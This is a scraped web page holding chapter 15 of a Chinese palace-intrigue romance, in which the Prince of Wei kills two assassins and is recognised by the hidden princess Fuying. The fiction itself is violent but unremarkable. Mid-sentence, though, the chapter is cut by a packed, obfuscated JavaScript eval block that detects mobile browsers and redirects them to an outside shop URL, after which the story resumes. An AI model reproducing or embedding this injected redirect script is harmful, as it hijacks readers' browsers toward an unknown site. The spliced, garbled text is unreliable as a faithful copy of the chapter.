15.第 15 章
作品:《春雪扶楹》 闻灼瞳孔骤然紧缩,侧身躲过这全力一击,刀刃险险沿他身边擦过。
后方的阿楣一挥左手,三发袖箭笔直掷出,却打在闻灼横在眼前的手杖上面,零星落下。
闻灼在进大明宫永和门后,已被卸去佩刀,贴身侍卫也无法随行至内。
他唯一的武器,便是这协助行走的木杖。
阿楣冷笑着说:“卫王,你未带佩刀,还是束手就擒吧。”
“对付尔等杂碎,本王无需用刀。”
闻灼话语冷酷狠厉,将二人贬低至尘埃。
扶楹躲在屏风后,听着殿内一切动静,惊心动魄。
虽看不见来人的脸孔,但那饱满浑厚的嗓音,如同一把利刃穿心,震慑心魄,令她不住寒战,瑟瑟发抖着。
通过他们寥寥无几的对话,扶楹大致明白了眼前情形。
北狄被卫王闻灼打得溃不成军,毫无还手之力,还被夺去燕云十六州这咽喉要地,百年基业土崩瓦解。
如此血海深仇,商珏与商鸷自然对卫王恨之入骨,故派阿楣和阿棱将他独自诱至衔青殿,欲在这空旷无人的礼佛之地取他性命。
不过,闻灼的声音有莫名的熟悉之感,似乎在哪里听过。
在这千钧一发之际,扶楹记忆有些恍惚,如何也无法想起,只在心中为阿楣与阿棱捏了一把汗。
……
阿楣握紧匕首,瞄准闻灼的脖颈,反手持刀向他喉间猛地划去。
阿棱也发起数次轮斩,刀光如微风下湖面泛起的粼粼波光,层层叠叠荡漾开。
闻灼不再闪避,而是用手杖挡下每一致命攻击,动作干净利落,丝毫不拖泥带水。
他的武艺异常精深,纵然两名刺客刀法繁多,千变万化,都被他不费吹灰之力化解开来。
白玉观音端庄慈祥,手执净瓶与杨柳,静静地看着眼前一片刀光剑影,利刃漫天。
“结束了。”
几个回合下来,闻灼突然轻启双唇。
力若千钧的三个字,在刀剑划过的空气中飘散,进入每个人耳中。
阿棱敏锐的第六感察觉到不妙,再度握紧佩刀,准备速战速决。
还未来得及挥砍下去,闻灼便寻到他肋前那不易察觉的破绽。
手杖向他的右腹猛地戳去,发出一阵骨头碎裂的骇人声响。
“啊——”
阿棱应声倒地,痛苦呼喊,腰身弓成磷虾一般,冷汗瞬间遍布额头。
“兄长!”
阿楣眼睛骤然瞪大,凄怆大喊,挥刀上前企图对他加以掩护。
她未设防备的刹那间,一只大手突然扼住她的脖颈,将她整个人提起,死死抵在宫殿立柱上。
“呃……咳……咳……”
闻灼常年习武,力气大得惊人,阿楣喉咙被他单手死死遏住,无法呼吸,只能发出断断续续低咳的声响。
她双脚悬空垂下,如溺水般处在极度缺氧与缺血中,双臂无力地扑腾,甚至都难以抓住脖子上的致命禁锢。
闻灼嘲弄地看着眼前濒临气绝的人,仿佛是凶恶残暴的猛兽,虎视眈眈盯着垂死挣扎的猎物。
他虎口稍微放松了些力道,“本王再问最后一次,是谁,派你们来的?”
阿楣脸色惨白,嘴唇发紫,身体对生命的渴望让她猛得吸入两口气。
“狗贼……”
阿楣眼神颤抖着下移,睥睨着将她制服在柱子上的人,用尽浑身已然不多的气力,咬牙切齿咒骂道:“你……不得好死……”
似乎早已料到阿楣会这么说,闻灼不再追问,缓缓抬起执刀的右手。
“既然如此,你可以去死了。”
看到即将杀死自己的武器,竟是阿棱爱护至极、从不离手的佩刀,阿楣眼眶漫起水雾,视线开始浑浊。
电光石火之间,刀刃从她心脏刺入,迅猛贯穿她的身体。
移山举岳般的力气,令半截刀身刺入立柱,将阿楣整个人悬空钉挂在柱子上。
阿楣瞪大的眼中布满血丝,目眦欲裂,还没来得及发出最后的声音,便没了气息。
闻灼松开她的脖子,云淡风轻收回了手。
阿楣的头没了支撑,向前低垂下去,眼中尽是来不及散去的惊恐与绝望。
闻灼面无波澜地转过身,捡起她掉落在地上的匕首,缓缓靠近躺在一旁地上缩成一团的阿棱。
阿棱方才被打断了肋骨。
断裂的骨刺戳伤了他的肺部,此刻,他无论如何大力吸气,肺部也无法扩张,正处在极度痛苦的煎熬中。
闻灼看着眼前濒死的人,冷漠晦暗的眼神毫无情感。
过不了一刻钟,他便会窒息而亡。动手杀他费力不说,血或许会喷溅到身上,在宫里惹来不必要的麻烦。
“哼——”
闻灼眼尾笑意凉薄,收回目光,如同秋风扫落残叶,任由阿棱经历百般折磨痛苦,直至死去。
衔青殿内瞬间静了下来,悄无声息,似乎都能听到略过耳边的风声。
左侧,水墨屏风高大厚重,在地上投下一片阴影,笼罩着一个不停颤抖的娇小身躯。
扶楹拼命掩住嘴,压下低低的啜泣声,忍住的眼泪却从鼻腔渗出,痛心入骨。
她重重阖上了眼睛,将脸埋在双膝中,不忍感受屏风后杀戮的残酷与生命的逝去。
阿楣和阿棱来到商珏身边时,扶楹尚且年幼,自然与他们相熟。
方才二人还说要救她出逃长安,如今却已命丧黄泉。
他们联手刺杀卫王不成,反而被对方残忍反杀。
卫王……
世人皆知,卫王骁勇无双,战功显赫,自去年遭遇暗害左腿患疾后,性情变得极度冷血残忍,暴虐嗜杀。
百闻不如一见,她今天便真正体会到,什么叫做喋血无情。
只是她现在手无缚鸡之力,尚且难以自保,又如何替他们鸣冤叫屈。
扶楹握紧拳头,按住心口,来缓解自己的悲痛凄怆之感。
蓦地,她脊梁后浮现出一股彻骨的寒意。
前方有股强大的雄厚气息包裹着她,一阵前所未有的压迫感自上而下袭来,将她严丝合缝地笼罩着。
强烈的第六感告诉她,有人正在盯着她。
扶楹猛地仰头,看见面前骤然出现的男子,惊惶失色。
步摇的玉珠串伴随着她的大幅举动,重重甩到脸上,印下一道带着烫意的红痕。
她这才看清卫王的长相。
那张
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079975|194236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脸庞冷傲孤绝,清隽若仙,绝美的五官轮廓,仿佛由天下的能工巧匠悉心雕琢而成,高贵而疏离。
他若早生些时日,与潘安卫玠之姿相比也绝不在话下。
这张面庞,扶楹不是第一次见到!
近一年前的记忆在脑海深处翻涌,云州郊外的宅邸内,那位怀瑾握瑜的公子,缓缓出现在她眼前。
眼下之人的面孔,与他的脸庞完全重合,只是多了些日月的沉淀打磨,五官轮廓更加深邃立体,英戾逼人。
难怪,她刚刚听到卫王的声音便有似曾相识之感。
原来,那根本不是错觉——
雪熄,竟是大雍卫王。
当初野外偶遇,她因恻隐之心救他性命,藏他在屋,还对他心生情愫。
后来他却举兵北伐,将北狄打得落花流水,丢盔弃甲。
家国沦陷,她自己也从高贵公主沦为卑贱人质,朝不保夕,生死难料。
夜深人静之时,她曾无数次设想过将来与他重逢,但从未预料到,竟是以如此荒谬唐突的情景,以如此天差地别的身份。
扶楹难以相信眼前发生的一切,瞳孔颤抖,内心纠扯万分。
下一时刻,命运如何转动,无人知晓。
她成了命运的傀儡,被它玩弄于股掌之间,在她猝不及防之时一松丝线,任由她摔得粉身碎骨。
……
闻灼在进入衔青殿时,便察觉到屏风后有人。
本以为是两个杀手的帮手,不想却是一介弱不禁风的女子,似乎腿上还受了伤,蜷缩在地。
她琥珀色的眸子被氤氲水雾掩埋,两行清泪如汩汩溪流不断涌出,滑过脸颊,在下颌凝聚成饱满泪珠。
不知方才遭遇何事,她衣衫散乱,胸前仅有抱腹蔽体,露出大片凝白的肌肤。
那眼眶通红、梨花带雨的模样,不期然与记忆深处一个纤瘦凄美的身影重合……
闻灼犀利的眸光骤然一变。
“报上名来。”
他的命令果决狠厉,口吻不容置疑,与从前那温声细语的翩翩公子判若两人。
时间与环境如同熔炉,能将一个人完全塑造成以前从未有过的模样。
扶楹压制着内心极度的失落与痛苦,翕动着双唇道:“妾身扶楹,自北狄前来,暂住重华殿。”
听到“北狄”二字,闻灼剑眉微颤,心中萌生出一个强烈的念头,如同触及干柴的火焰,猛地燃烧起来。
随着这念头而来的,是一幢烧得残破不堪的宅邸,连同几具面目难辨女性焦尸,拼凑成虚幻的画面浮现在眼前。
闻灼方才内心躁动的火焰,因冷静而渐渐熄灭。
不可能是她……
她,已不在这人世间了……
只是身形相像而已,天下之大,难免会有如此相似的两个人。
闻灼不动声色地深呼一口气,目光再度转向缩在地上的羸弱女子。
“唰——”
阿楣的蛇纹匕首瞬间竖在扶楹眼前,刀尖再往前几寸,便会戳进她的眼睛。
闻炯手执匕首指着扶楹,眼如鹰隼,杀意凛然。
“你见到了不该见的,本王留你不得。在最后这时间里,你有何遗言,说与本王。”

